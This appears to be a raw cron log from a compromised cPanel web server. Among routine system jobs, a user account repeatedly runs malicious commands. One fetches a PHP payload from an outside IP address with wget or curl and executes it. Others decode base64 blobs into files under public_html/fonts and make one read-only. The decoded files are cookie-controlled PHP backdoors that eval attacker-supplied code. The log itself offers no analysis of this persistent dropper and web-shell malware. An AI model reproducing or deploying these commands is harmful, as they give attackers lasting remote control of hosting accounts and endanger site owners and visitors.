Sep  8 16:06:01 ip-184-168-122-23 CROND[15123]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 16:06:01 ip-184-168-122-23 CROND[15126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:06:01 ip-184-168-122-23 CROND[15125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:06:01 ip-184-168-122-23 CROND[15130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:07:01 ip-184-168-122-23 CROND[15225]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:07:01 ip-184-168-122-23 CROND[15227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:07:01 ip-184-168-122-23 CROND[15228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:07:01 ip-184-168-122-23 CROND[15229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:08:01 ip-184-168-122-23 CROND[15431]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:08:01 ip-184-168-122-23 CROND[15434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:08:01 ip-184-168-122-23 CROND[15433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:08:01 ip-184-168-122-23 CROND[15435]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 16:08:01 ip-184-168-122-23 CROND[15436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:09:01 ip-184-168-122-23 CROND[15527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:09:01 ip-184-168-122-23 CROND[15528]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:09:01 ip-184-168-122-23 CROND[15530]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:09:01 ip-184-168-122-23 CROND[15532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:09:01 ip-184-168-122-23 CROND[15533]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 16:10:01 ip-184-168-122-23 CROND[15624]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 16:10:01 ip-184-168-122-23 CROND[15626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:10:01 ip-184-168-122-23 CROND[15629]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 16:10:01 ip-184-168-122-23 CROND[15630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:10:01 ip-184-168-122-23 CROND[15631]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 16:10:01 ip-184-168-122-23 CROND[15634]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:10:01 ip-184-168-122-23 CROND[15633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:10:01 ip-184-168-122-23 CROND[15635]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 16:11:01 ip-184-168-122-23 CROND[15728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:11:01 ip-184-168-122-23 CROND[15730]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:11:01 ip-184-168-122-23 CROND[15732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:11:01 ip-184-168-122-23 CROND[15734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:12:01 ip-184-168-122-23 CROND[15825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:12:01 ip-184-168-122-23 CROND[15827]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:12:01 ip-184-168-122-23 CROND[15828]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 16:12:01 ip-184-168-122-23 CROND[15830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:12:01 ip-184-168-122-23 CROND[15832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:13:01 ip-184-168-122-23 CROND[16018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:13:01 ip-184-168-122-23 CROND[16020]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:13:01 ip-184-168-122-23 CROND[16021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:13:01 ip-184-168-122-23 CROND[16023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:14:01 ip-184-168-122-23 CROND[16110]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:14:01 ip-184-168-122-23 CROND[16113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:14:01 ip-184-168-122-23 CROND[16114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:14:01 ip-184-168-122-23 CROND[16112]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 16:14:01 ip-184-168-122-23 CROND[16115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:15:01 ip-184-168-122-23 CROND[16209]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:15:01 ip-184-168-122-23 CROND[16211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:15:01 ip-184-168-122-23 CROND[16212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:15:01 ip-184-168-122-23 CROND[16216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:15:01 ip-184-168-122-23 CROND[16217]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  8 16:15:01 ip-184-168-122-23 CROND[16213]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 16:15:01 ip-184-168-122-23 CROND[16214]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 16:16:01 ip-184-168-122-23 CROND[16303]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:16:01 ip-184-168-122-23 CROND[16305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:16:01 ip-184-168-122-23 CROND[16306]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:16:01 ip-184-168-122-23 CROND[16307]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 16:16:01 ip-184-168-122-23 CROND[16308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:16:01 ip-184-168-122-23 CROND[16309]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 16:17:01 ip-184-168-122-23 CROND[16400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:17:02 ip-184-168-122-23 CROND[16402]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:17:02 ip-184-168-122-23 CROND[16404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:17:02 ip-184-168-122-23 CROND[16405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:18:01 ip-184-168-122-23 CROND[16497]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
